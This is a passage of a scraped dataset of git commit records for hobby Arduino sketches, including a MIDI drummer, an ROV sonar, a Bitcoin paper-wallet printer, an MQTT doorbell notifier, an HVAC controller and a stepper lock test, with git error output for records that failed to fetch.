notes\n midiwrite(0x80, 40, 0x00); \/\/ switch off possible synth notes \n midiwrite(0x80, 28, 0x00); \/\/ switch off possible bass notes\n midiwrite(0x80, 40, 0x00); \/\/ switch off possible bass notes \n midiwrite(0x80, 52, 0x00); \/\/ switch off possible bass notes\n}\n\n\n\nvoid SomeButtonReleaseHandler(Button& butt)\n{\n if(enabledrumming)\n {\n \/\/..\n } \n else\n {\n \n if(butt == button2)\n { \n midiwrite(0x80, 40, 0x00); \/\/ switch off possible bass notes\n }\n }\n \n \n}\n\n\nvoid SomeButtonHoldHandler(Button& butt)\n{\n if(butt==button4)\n {\n stopdrum(); \n }\n}\n\nvoid setup() {\n Serial.begin(31250);\n pinMode(dreamblaster_enable_pin ,OUTPUT); \/\/ enable the dreamblaster module by pulling high \/reset\n digitalWrite(dreamblaster_enable_pin, HIGH);\n delay(300); \/\/ allow 300ms for the dreamblaster to boot\n Timer1.attachInterrupt(timercallback);\n Timer1.initialize(tempodelay*1000); \n button2.pressHandler(SomeButtonPressHandler);\n button2.releaseHandler(SomeButtonReleaseHandler);\n button3.pressHandler(SomeButtonPressHandler);\n button3.releaseHandler(SomeButtonReleaseHandler);\n button4.pressHandler(SomeButtonPressHandler);\n button4.releaseHandler(SomeButtonReleaseHandler);\n button4.holdHandler(SomeButtonHoldHandler,1000);\n setupvoices();\n}\n\nvoid stopdrum(){\n enabledrumming = 0; \n prevtimestamp = 0;\n curtimestamp = 0;\n seq_poscnt = 0;\n stopallnotes();\n}\n\n\nvoid loop() {\n long timesincelastbeat;\n long timetonextbeat; \n button2.isPressed(); \/\/ trigger handling for button\n button3.isPressed(); \/\/ trigger handling for button\n button4.isPressed(); \/\/ trigger handling for button\n buttonState = digitalRead(button1Pin);\n if(prev_buttonState!=buttonState)\n {\n prev_buttonState = buttonState;\n if(buttonState == 1)\n {\n prevtimestamp = curtimestamp;\n curtimestamp = millis();\n if(prevtimestamp)\n { \n calctempodelay = curtimestamp - prevtimestamp;\n if(calctempodelay > 200 && calctempodelay < 5000) \/\/ if tempo is within range, calc tempo and enable drum\n {\n if(enabledrumming == 0)\n {\n seq_poscnt = 0;\n enabledrumming = 1;\n }\n tempodelay = calctempodelay\/wheelfactor;\n timesincelastbeat = curtimestamp - lasttickstamp;\n if(timesincelastbeat > tempodelay) \/\/ is the beat is going faster, tick immediately (within 10ms)\n {\n timetonextbeat = 10; \n }\n else\n {\n timetonextbeat = tempodelay -timesincelastbeat; \/\/ calculate remaining period for next tick\n if (timetonextbeat < 10)\n {\n timetonextbeat = 10;\n }\n }\n Timer1.setPeriod(timetonextbeat * 1000); \/\/ calculate period until next beat \n }\n }\n }\n } \n else\n {\n if(enabledrumming)\n {\n if(curtimestamp)\n {\n if( (millis() - curtimestamp )> 5000) \/\/ automatically stop if no sensor change for longer than 5s\n {\n if(bicyclesetup)\n {\n stopdrum(); \n }\n }\n }\n }\n }\n\n}\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/cycledrummer\/BICYCLEDRUMMER02\/BICYCLEDRUMMER02.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e8c8be818819981de1d2686bba6f52af4eeb967","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/02.Digital\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_file":"build\/shared\/examples\/02.Digital\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 8e8c8be818819981de1d2686bba6f52af4eeb967\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"098deb0d12bacfe0828e7b45ff92e408cbbf1e24","subject":" added sonar code for 3.6","message":" added sonar code for 3.6\n","repos":"purduerov\/X9-Core,purduerov\/X9-Core,purduerov\/X9-Core,purduerov\/X9-Core,purduerov\/X9-Core,purduerov\/X9-Core","old_file":"control\/sonar\/ROV_sonar\/ROV_sonar.ino","new_file":"control\/sonar\/ROV_sonar\/ROV_sonar.ino","new_contents":"\/**********************************************************************************\/\n\/* Pin 0,1,2,3 are for 4 channels analog input\n * When digital pin 4 is high, program start doing the sonar things\n * When the Arduino restart with digital pin 6 High, after 1s delay, \n *Arduino start reading standard signal from analog pin 5 for a specified length\n *\n * It's better to print out array \"StandardSignal\", remove the nonsignal part, \n *and then hardcode back. (make calculation more efficient)\n *\n * Thanks for Sofia's raw code\n *\n * Richard Shen 2016\/11\/17\n****************************************************\/\n#define SignalSetupLength 5000 \/\/(number of samples in the standard signal) need to be determined\n#define SignalReadLength 5000 \/\/(number of samples in the reading signal) need to be determined. The length to read real signal.\n#define TEMP 20 \/\/temperature of water, to be determined\n\/\/ read signal from 4 sonar reciever, convolute with standard signal\nint TIMEGAP1 = 1; \/\/sampling time gap between channels in microseconds? need to be determined\nint TIMEGAP2 = 5; \/\/sampling time gap in the same channel (4*TIMEGAP1 + time of 'for loop') need to be determined\nfloat DPiezo = 0.5; \/\/distance between piezos, in meters\nint StandardSignal[SignalSetupLength];\/\/ = {\/*need Standard Signal*\/};\n\nint SetupPin = 6; \/\/a pin tells arduino to setup Standard Signal\nint StandardInputPin = 5;\nint SignalFlagPin = 4;\/\/when it is high start reading signals from 4 channels\n\/\/from the top right corner, piezos are labeled as 0, 1, 2, 3 clock-wisely\nint SignalInput0 = 0;\nint SignalInput1 = 1;\nint SignalInput2 = 2;\nint SignalInput3 = 3;\n\/\/need pins to get temperature data\n\nfloat getTemp();\nvoid convolution(const int Signal[], int SignalLen,\n const int Standard[], int StandardLen,\n int Result[]);\nfloat angle(float time1, float time2, float d, float v);\nvoid maxIndex(int array[], int LengthX, int* MaxValue, int* Index);\n\n\n\nfloat getTemp()\n{\n float Temp=TEMP; \n \/\/put codes to get temperature\n return Temp;\n}\n\n\nvoid convolution(const int Signal[], int SignalLen,\n const int Standard[], int StandardLen,\n int Result[])\n{\n for (int n=0; n<SignalReadLength+SignalSetupLength-1; n++)\n {\n int kmin, kmax;\n Result[n] = 0;\n\n kmin = (n >= StandardLen - 1) ? n - (StandardLen - 1) : 0;\n kmax = (n < SignalLen - 1) ? n : SignalLen - 1;\n\n for (int k = kmin; k <= kmax; k++)\n {\n Result[n] += Signal[k] * Standard[n - k];\n }\n }\n}\n\n\nfloat angle(float time1, float time2, float d, float v) {\n float Angle;\n Angle = acos(((time1 + time2)*(time2 - time1) * v + pow(d, 2))\/ (2 * time2 * d)) * 180 * 7 \/ 22;\n return Angle;\n}\n\n\nvoid maxIndex(int array[], int LengthX, int* MaxValue, int* Index)\n{\n for(int i=0; i<= LengthX; i++)\n {\n if (*MaxValue < array[i])\n {\n *MaxValue = array[i];\n *Index = i;\n }\n }\n}\n\n\nvoid setup() \n{\n pinMode(SetupPin, INPUT);\n pinMode(StandardInputPin, INPUT);\n pinMode(SignalInput0, INPUT);\n pinMode(SignalInput1, INPUT);\n pinMode(SignalInput2, INPUT);\n pinMode(SignalInput3, INPUT);\n pinMode(SignalFlagPin, INPUT);\n\n if(digitalRead(SetupPin) == HIGH)\/\/\n {\n delay(1000);\/\/delay 1s then start reading the standard signal\n \/\/better use a LED as a signal to start reading\n for(int i=0; i<SignalSetupLength; i++)\n {\n \/\/read 4 times to mimic sampling rate of real signal\n StandardSignal[i] = analogRead(StandardInputPin);\n StandardSignal[i] = analogRead(StandardInputPin);\n StandardSignal[i] = analogRead(StandardInputPin);\n StandardSignal[i] = analogRead(StandardInputPin);\n \/\/it is better to print out the standard signal after that remove non signal part and manualy put into this array\n } \n }\n}\n\n\nvoid loop() \n{\n int Signal0[SignalReadLength];\n int Signal1[SignalReadLength];\n int Signal2[SignalReadLength];\n int Signal3[SignalReadLength];\n float Volocity;\n \n \n int Temp = getTemp;\n Volocity=1.402385*1000 + 5.038813*Temp - 5.799136\/100*Temp*Temp + 3.287156\/10000*Temp*Temp*Temp; \/\/sound speed in water under atm pressure\n\n \n \n if (digitalRead(SignalFlagPin) == HIGH) \/\/is the SetupPin 'HIGH' cover the whole signal or just mark the start point?\n {\n\n for(int i=0; i<SignalReadLength; i++) \/\/sampling rate need to be measured\n {\n Signal0[i] = analogRead(SignalInput0);\n Signal1[i] = analogRead(SignalInput1);\n Signal2[i] = analogRead(SignalInput2);\n Signal3[i] = analogRead(SignalInput3);\n }\n\n int Result0[SignalReadLength+SignalSetupLength-1];\n int Result1[SignalReadLength+SignalSetupLength-1];\n int Result2[SignalReadLength+SignalSetupLength-1];\n int Result3[SignalReadLength+SignalSetupLength-1];\n\n convolution( Signal0, SignalReadLength,\n StandardSignal, SignalSetupLength,\n Result0);\n \n convolution( Signal1, SignalReadLength,\n StandardSignal, SignalSetupLength,\n Result1);\n\n convolution( Signal2, SignalReadLength,\n StandardSignal, SignalSetupLength,\n Result2);\n\n convolution( Signal3, SignalReadLength,\n StandardSignal, SignalSetupLength,\n Result3);\n \n float Time0, Time1, Time2, Time3;\n int MaxValue0, MaxValue1, MaxValue2, MaxValue3;\n int Index0, Index1, Index2, Index3;\n \n maxIndex(Result0, SignalReadLength, &MaxValue0, &Index0);\n maxIndex(Result1, SignalReadLength, &MaxValue1, &Index1);\n maxIndex(Result2, SignalReadLength, &MaxValue2, &Index2);\n maxIndex(Result3, SignalReadLength, &MaxValue3, &Index3);\n \/* \n Index0 = Index0 - SignalSetupLength;\n Index1 = Index1 - SignalSetupLength;\n Index2 = Index2 - SignalSetupLength;\n Index3 = Index3 - SignalSetupLength;\n *\/ \n Time0 = Index0 * TIMEGAP2;\n Time1 = Index1 * TIMEGAP2 + TIMEGAP1;\n Time2 = Index2 * TIMEGAP2 + 2 * TIMEGAP1;\n Time3 = Index3 * TIMEGAP2 + 3 * TIMEGAP1;\n \n \/\/the original point is piezo2\n float Angle2Y = angle(Time2, Time3, DPiezo, Volocity);\n \/\/the original point is piezo2\n float Angle2X = angle(Time1, Time2, DPiezo, Volocity);\n \/\/we also need angle base on piezo0\n float Angle0Y = angle(Time1, Time0, DPiezo, Volocity);\n float Angle0X = angle(Time0, Time3, DPiezo, Volocity); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'control\/sonar\/ROV_sonar\/ROV_sonar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73e5d4190f1e5130f2268639b1e33328f5433309","subject":"clock example","message":"clock example\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ClockRTC\/ClockRTC.ino","new_file":"modules\/ClockRTC\/ClockRTC.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"edf9e189f887ab004e3a684d050544ecb1c91ae4","subject":"New example pinDefRaw","message":"New example pinDefRaw\n\ndemo of raw input pin method","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_pinDefRaw\/ESPArto_pinDefRaw.ino","new_file":"examples\/ESPArto_pinDefRaw\/ESPArto_pinDefRaw.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f21ee59c86ca0ad0de7c1db4c9317acee53ba5bf","subject":"Epson M-190 based wallet printer","message":"Epson M-190 based wallet printer\n","repos":"spearson78\/paperwallet,spearson78\/paperwallet","old_file":"m190\/m190.ino","new_file":"m190\/m190.ino","new_contents":"#include <panic.h>\n#include <progress.h>\n#include <bignat.h>\n#include <bigint.h>\n#include <sha256.h>\n#include <rmd160.h>\n#include <base58.h>\n#include <bitelliptic.h>\n#include <bitaddress.h>\n#include <rng.h>\n#include <qrencode.h>\n#include <m190printer.h>\n\nconst int LEDPIN=8;\nconst int BUTTONPIN=11;\n\nvoid PANIC(byte errorCode){\n for(;;){\n for(int i=0;i<(errorCode+1);i++){\n digitalWrite(LEDPIN,HIGH);\n delay(250);\n digitalWrite(LEDPIN,LOW);\n delay(250);\n }\n delay(1000);\n }\n}\n\nvoid PROGRESS(float progress){\n static byte flipflop=0;\n if(flipflop==0){\n digitalWrite(LEDPIN,HIGH);\n flipflop=1;\n }else {\n digitalWrite(LEDPIN,LOW);\n flipflop=0;\n }\n}\n\nuint8_t PRIVATE[32];\nWORD xbuf[32];\nWORD ybuf[32];\nstruct bigint pubx(xbuf,sizeof(xbuf));\nstruct bigint puby(ybuf,sizeof(ybuf));\n\n\/*\nconst int ringsize=128;\nint ring[ringsize];\nint ringpos=0;\nvoid recordTick(int val,unsigned long micros){\n ring[ringpos]=val;\n ringpos++;\n ringpos%=ringsize;\n}\n*\/\n\nvoid dumpStats(){\n\/*\n Serial.println(\"Ring Buf\");\n int last=0;\n for(int i=0;i<ringsize;i++){\n int p=i+ringpos;\n p%=ringsize;\n int val = ring[p];\n Serial.print(val);\n if( val >= last ){\n Serial.println(\" >\");\n } else {\n Serial.println(\" <\");\n }\n last=val;\n }\n *\/\n}\n\nconst float qrxscale=2.25;\nconst int qryscale=2;\n\n\/\/const float qrxscale=1.125;\n\/\/const int qryscale=1;\n\n\/\/const int qryscale=3;\n\/\/const float qrxscale=3.375;\n\nboolean qrcodesource(void *ctx,int x,int y){\n\/\/ return( x==10 || y==10);\n qrcontext *qr=(qrcontext *)ctx;\n\n float fx = (float)x\/qrxscale;\n x=fx;\n y\/=qryscale;\n if(x<0||x>WD||y<0||y>WD){\n return 0;\n } else {\n return qr->getQRBit(x,y);\n }\n}\n\nbyte qroffset=20;\n\nboolean qrcodesource2(void *ctx,int x,int y){\n\/\/ return( x==10 || y==10);\n qrcontext *qr=(qrcontext *)ctx;\n\n float fx = (float)x\/qrxscale;\n x=fx;\n x-=qroffset;\n y\/=qryscale;\n if(x<0||x>WD||y<0||y>WD){\n return 0;\n } else {\n return qr->getQRBit(x,y);\n }\n}\n\n\nboolean horizlinesource(void *ctx,int x,int y){\n return 1; \n}\n\nvoid horizline(){\n m190::print(horizlinesource,NULL,5,true);\n m190::formfeed(2);\n}\n\nvoid printqr(char *encoded){\n qrcontext qr;\n qr.qrencode(encoded);\n m190::print(qrcodesource2,&qr,WD*qryscale,true);\n}\n\nvoid printprivate(uint8_t *PRIVATE){\n char encoded[52];\n bitaddress::generatePrivateWIF(PRIVATE,encoded,sizeof(encoded));\n printqr(encoded);\n m190::formfeed(5);\n m190::print(encoded);\n \/* \n m190::print(encoded);\n qrcontext qr;\n qr.qrencode(encoded);\n m190::print(qrcodesource,NULL,WD*qryscale,true);\n m190::formfeed(2);\n *\/\n}\n\nvoid printpublic(const struct bigint &x,const struct bigint &y){\n char encoded[40];\n bitaddress::generateAddress(x,y,encoded,sizeof(encoded)); \n \/\/qrcontext qr;\n \/\/qr.qrencode(encoded);\n \n m190::print(encoded);\n m190::formfeed(5); \n printqr(encoded);\n \/\/qrcode(qr);\n}\n\nvoid generatePrivateKey(uint8_t *PRIVATE){\n rng::generate(PRIVATE,32);\n}\n\nvoid setup(){\n m190::initialize(); \n\n pinMode(BUTTONPIN,INPUT);\n pinMode(LEDPIN,OUTPUT);\n \n\n \/\/dumpStats();\n}\n\n\nvoid loop(){ \n digitalWrite(LEDPIN,HIGH); \n while(digitalRead(BUTTONPIN)==LOW){\n }\n digitalWrite(LEDPIN,LOW); \n \n \/\/memset(ring,0,sizeof(int)*ringsize);\n m190::formfeed(40);\n\n generatePrivateKey(PRIVATE);\n \n digitalWrite(LEDPIN,HIGH); \n \n qroffset=20;\n printprivate(PRIVATE);\n m190::formfeed(40);\n \n bitaddress::generatePublicKey(PRIVATE,pubx,puby);\n \n digitalWrite(LEDPIN,HIGH); \n \n qroffset=5;\n printpublic(pubx,puby);\n m190::formfeed(20);\n\n digitalWrite(LEDPIN,LOW); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'm190\/m190.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"bbf1553a6e7b40b98bfccd5e7f7f05850347982f","subject":"first commit","message":"first commit\n\nlauff\u00e4hige Benachrichtigung per RGB-LED & Summer\n","repos":"mschmidt98\/the-ring-bot,mschmidt98\/the-ring-bot,mschmidt98\/the-ring-bot,mschmidt98\/the-ring-bot","old_file":"Node-tification\/Node-tification.ino","new_file":"Node-tification\/Node-tification.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\nconst int led_R = 16; \/\/D0\nconst int led_G = 5; \/\/D1\nconst int led_B = 4; \/\/D2\nconst int buzzer1 = 13; \/\/D7\nconst int buzzer2 = 15; \/\/D8\nWiFiClient espClient;\nPubSubClient client(espClient);\n\nvoid setup() {\n delay(1000);\n Serial.begin(115200);\n WiFi.begin(\"PIT-Hackathon\", \"Hackathon\");\n\n \/\/LED setup\n pinMode(led_R, OUTPUT);\n pinMode(led_G, OUTPUT);\n pinMode(led_B, OUTPUT);\n pinMode(buzzer1, OUTPUT);\n pinMode(buzzer2, OUTPUT);\n analogWrite(led_R, 0);\n analogWrite(led_G, 0);\n analogWrite(led_B, 0);\n\n \/\/verbinden mit Access Point\n Serial.println();\n Serial.print(\"\\nVerbinden\");\n while(WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"verbunden!\");\n Serial.print(\"IP-Adresse: \");\n Serial.println(WiFi.localIP());\n\n \/\/Verbindung zum MQTT-Server herstellen\n client.setServer(\"172.16.0.1\", 1883);\n if(client.connect(\"Marius_NodeMCU\")) {\n Serial.println(\"Verbunden mit dem MQTT Server!\");\n led_flash(255, 0, 0, 250);\n led_flash(0, 255, 0, 250);\n led_flash(0, 0, 255, 250);\n led_flash(255, 255, 255, 250);\n client.subscribe(\"\/theringbot\/ring\");\n client.setCallback(callback);\n } else {\n Serial.println(client.state());\n }\n}\n\nvoid loop() {\n client.loop();\n}\n\n\/\/Nachricht auslesen & darauf reagieren\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Neue Nachricht [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i=0;i<length;i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n if((char)payload[0] == 'k') {\n led_flash(0, 0, 255, 1000);\n buzz(2, 2, 512);\n Serial.println(\"Es hat an der T\u00fcr geklingelt!\");\n } else if((char)payload[0] == 'o') {\n led_flash(0, 255, 0, 1000);\n buzz(1, 1, 1024);\n Serial.println(\"Zugelassen!\");\n } else if((char)payload[0] == 'n') {\n led_flash(255, 0, 0, 1000);\n buzz(6, 6, 175);\n Serial.println(\"Abgelehnt!\");\n } else {\n led_flash(255, 255, 255, 1000);\n }\n payload = 0;\n}\n\n\/\/LED mit RGB-Wert blinken lassen\nvoid led_flash(byte red, byte green, byte blue, int ms) {\n analogWrite(led_R, red);\n analogWrite(led_G, green);\n analogWrite(led_B, blue);\n delay(ms);\n analogWrite(led_R, 0);\n analogWrite(led_G, 0);\n analogWrite(led_B, 0);\n delay(ms\/4);\n}\n\n\/\/beide Summer ansteuern\nvoid buzz(byte delay1, byte delay2, int count) {\n for (int i = 0; i < count; i++) \n {\n analogWrite(buzzer1, 1023); \n analogWrite(buzzer2, 1023);\n delay(delay1);\n analogWrite(buzzer1, 0);\n analogWrite(buzzer2, 0);\n delay(delay2);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Node-tification\/Node-tification.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f068b50d39a0b9c337c9fded9087126b2910b510","subject":"Update variables","message":"Update variables\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"New World Order\/_ard\/Thunderstorm.ino","new_file":"New World Order\/_ard\/Thunderstorm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"72a5131c2ff2e671d6bbbc881b5bb22dcc00f1f1","subject":"Code adapted to hardware changes","message":"Code adapted to hardware changes\n","repos":"itsallvoodoo\/home_automation,itsallvoodoo\/home_automation,itsallvoodoo\/home_automation","old_file":"Arduino_HVAC_Controller\/HVAC_Controller\/HVAC_Controller.ino","new_file":"Arduino_HVAC_Controller\/HVAC_Controller\/HVAC_Controller.ino","new_contents":"\/\/ name: HVAC_Controller.ino\n\/\/ author: Chad Hobbs\n\/\/ created: 121012\n\/\/ last edit:\n\/\/\n\/\/ description: This program controls multiple temperature sensors via the 1-wire protocol, and turns off and on an HVAC system based on presets\n\/\/ Surface mount 1 address: 103EB683000800F1\n\/\/ Short lead address: 10 18 40 44 0 8 0 70\n\/\/ Long lead address: 10 CE A6 82 2 8 0 3F\n\n\n\n\/\/ -------------LIBRARIES---------------- THESE ARE REQUIRED TO BE IN YOUR SKETCHBOOK\/LIBRARY FOLDER FOR COMPILING ----\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ --------------PARAMETERS---------------------\nbyte addrs[1][8] = {{16,206,166,130,2,8,0,63}}; \/\/ ,{16,24,64,68,0,8,0,112}\n \/\/ {16,24,64,68,0,8,0,112} Temp Sensor 1\n \/\/ {16,206,166,130,2,8,0,63} Temp Sensor 2\nint busPin = 4; \/\/ Data bus for One Wire Comms\nint upPin = 3; \/\/ Pin used to increase set temp\nint downPin = 2; \/\/ Pin used to decrease set temp\nint numOfDevices = 1; \/\/ How many sensors are in loop\nint high = 80; \/\/ This is the default high temp setting\nint low = 70; \/\/ This is the default low temp setting\nlong currentTemp = 0.0; \/\/ Highest or lowest temp depending on mode\nboolean mode = 1; \/\/ Heat or Cool\nint serialSpeed = 9600; \/\/ Default serial comm speed\nString heat = \"Heat\";\nString cool = \"Cool\";\nString currentMode = heat;\nint tempSetpoint = 75; \/\/ Default temperature setpoint on a reboot\nboolean val; \/\/ Variable for user input\nlong oldTemp = 0;\n\n\/\/ -------------Library Interaction--------------\n\/\/ Data wire is plugged into busPin on the Arduino\n#define ONE_WIRE_BUS busPin\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\/\/void wdt_reset(void);\n\n\/\/ arrays to hold device address\nDeviceAddress insideThermometer = { 0x10, 0x39, 0xe2, 0x82, 0x02, 0x08, 0x00, 0x3e };\n\n\n\/\/ ----------------------------------------------------------------------------------------\n\/\/ Function Name: setup()\n\/\/ Parameters: None\n\/\/ Returns: None\n\/\/ Description: This function executes housekeeping duties and staging for the loop() function; executed once\nvoid setup(){\n\n pinMode(busPin,INPUT);\n pinMode(upPin,INPUT);\n pinMode(downPin,INPUT);\n Serial.begin(serialSpeed);\n\n \/\/ Start up the library\n sensors.begin(); \/\/ IC Default 9 bit. If you have troubles consider upping it 12. Ups the delay\n\n}\n\n\/\/ ----------------------------------------------------------------------------------------\n\/\/ Function Name: loop()\n\/\/ Parameters: None\n\/\/ Returns: None\n\/\/ Description: This is the main executing block of the program, calling all ancillary functions to operate the Arduino\nvoid loop(){\n \/\/Serial.println(\"Getting Temperature Data...\");\n \/\/delay(100);\n if (getTemp() == true) {\n Serial.print(\"Current Temperature is: \");\n Serial.println(currentTemp);\n }\n \n \/\/if (getSetPoint() == true) {\n \/\/ Serial.print(\"Current setpoint is: \");\n \/\/ Serial.println(tempSetpoint);\n \/\/}\n \n}\n\n\/\/ ----------------------------------------------------------------------------------------\n\/\/ Function Name: getTemp()\n\/\/ Parameters: None\n\/\/ Returns: Boolean, True if the temperature has changed, else False\n\/\/ Description: This function polls the temp sensors, retrieves the values, and then returns\nboolean getTemp(){\n currentTemp = 0;\n long temp = 0;\n sensors.requestTemperatures(); \/\/ Send the command to the device to get temperatures\n \n \/\/ Go through devices and read the temperatures\n for(int x = 0; x < numOfDevices; x++){\n \/\/ ------------FOLLOWING LINES FOR TESTING ONLY\n \/\/Serial.print(\"Sensor \");\n \/\/Serial.print(x);\n \/\/Serial.print(\" reports: \");\n \/\/Serial.println(sensors.getTempF(addrs[x]));\n temp = sensors.getTempF(addrs[x]);\n if(temp != currentTemp){\n currentTemp = temp;\n } \n }\n\n \/\/ Check to see if temperature has changed\n if (currentTemp != oldTemp) {\n oldTemp = currentTemp;\n return true;\n }\n else {\n return false;\n }\n}\n\n\/\/ ----------------------------------------------------------------------------------------\n\/\/ Function Name: getSetPoint()\n\/\/ Parameters: None\n\/\/ Returns: Boolean, True if the temperature has changed, else False\n\/\/ Description: This function checks to see if the setpoint has been changed and adjusts it accordingly.\nboolean getSetPoint(){\n val = digitalRead(upPin);\n if (val == LOW) {\n while (val == LOW) {\n val = digitalRead(upPin);\n }\n tempSetpoint = tempSetpoint + 1;\n return true;\n }\n val = digitalRead(downPin);\n if (val == LOW) {\n while (val == LOW) {\n val = digitalRead(downPin);\n }\n tempSetpoint = tempSetpoint - 1;\n return true;\n }\n return false;\n}\n \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_HVAC_Controller\/HVAC_Controller\/HVAC_Controller.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d1a96dd56a45c9b45250f019f8a8b30c989b1694","subject":"Updated estopWorkAround","message":"Updated estopWorkAround\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/estopWorkAround\/estopWorkAround.ino","new_file":"software\/embedded\/Arduino Code\/estopWorkAround\/estopWorkAround.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/estopWorkAround\/estopWorkAround.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5985806c39e15ebb09d83542b74eca01788f7ac5","subject":"add steper test ino","message":"add steper test ino\n","repos":"bloomlj\/jllock,bloomlj\/jllock,bloomlj\/jllock","old_file":"stepper\/stepper.ino","new_file":"stepper\/stepper.ino","new_contents":"int x;\nchar command;\nvoid setup() { \npinMode(6,OUTPUT); \/\/ Enable \npinMode(5,OUTPUT); \/\/ Step \npinMode(4,OUTPUT); \/\/ Dir \ndigitalWrite(6,LOW); \/\/ Set Enable low \nSerial.begin(9600);\ndelay(500);\nSerial.println(\"LockSystem begin...\");\n digitalWrite(4,HIGH); \/\/ Set Dir high\nfor(x = 0; x < 1000; x++) \/\/ Loop 200 times \n{ digitalWrite(5,HIGH); \/\/ Output high \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \ndigitalWrite(5,LOW); \/\/ Output low \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \n} \n\ndelay(5000); \/\/ pause one second\n\ndigitalWrite(4,LOW); \/\/ Set Dir low\nfor(x = 0; x < 1000; x++) \/\/ Loop 2000 times \n{ digitalWrite(5,HIGH); \/\/ Output high \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \ndigitalWrite(5,LOW); \/\/ Output low \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \n} \ndelay(1000); \/\/ pause one second \n\n}\n\nvoid loop() {\n if(Serial.available());\n {\n command=Serial.read();\n \n }\n if(command=='Y'){\n digitalWrite(4,HIGH); \/\/ Set Dir high\nfor(x = 0; x < 1000; x++) \/\/ Loop 200 times \n{ digitalWrite(5,HIGH); \/\/ Output high \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \ndigitalWrite(5,LOW); \/\/ Output low \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \n} \n\ndelay(5000); \/\/ pause one second\n\ndigitalWrite(4,LOW); \/\/ Set Dir low\nfor(x = 0; x < 1000; x++) \/\/ Loop 2000 times \n{ digitalWrite(5,HIGH); \/\/ Output high \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \ndigitalWrite(5,LOW); \/\/ Output low \ndelayMicroseconds(500); \/\/ Wait 1\/2 a ms \n} \ndelay(1000); \/\/ pause one second \n}\n command=' ';\n\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'stepper\/stepper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fddd106d073bdc8b34fd237364a8ff555abfa7e3","subject":"Added v1.01 4CH OTA Firmware","message":"Added v1.01 4CH OTA Firmware\n","repos":"KmanOz\/Sonoff-HomeAssistant","old_file":"arduino\/ESPsonoff_4CH-v1.01pOTA\/ESPsonoff_4CH-v1.01pOTA.ino","new_file":"arduino\/ESPsonoff_4CH-v1.01pOTA\/ESPsonoff_4CH-v1.01pOTA.ino","new_contents":"\/*\n\n Copyright (c) 2017 @KmanOz\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, 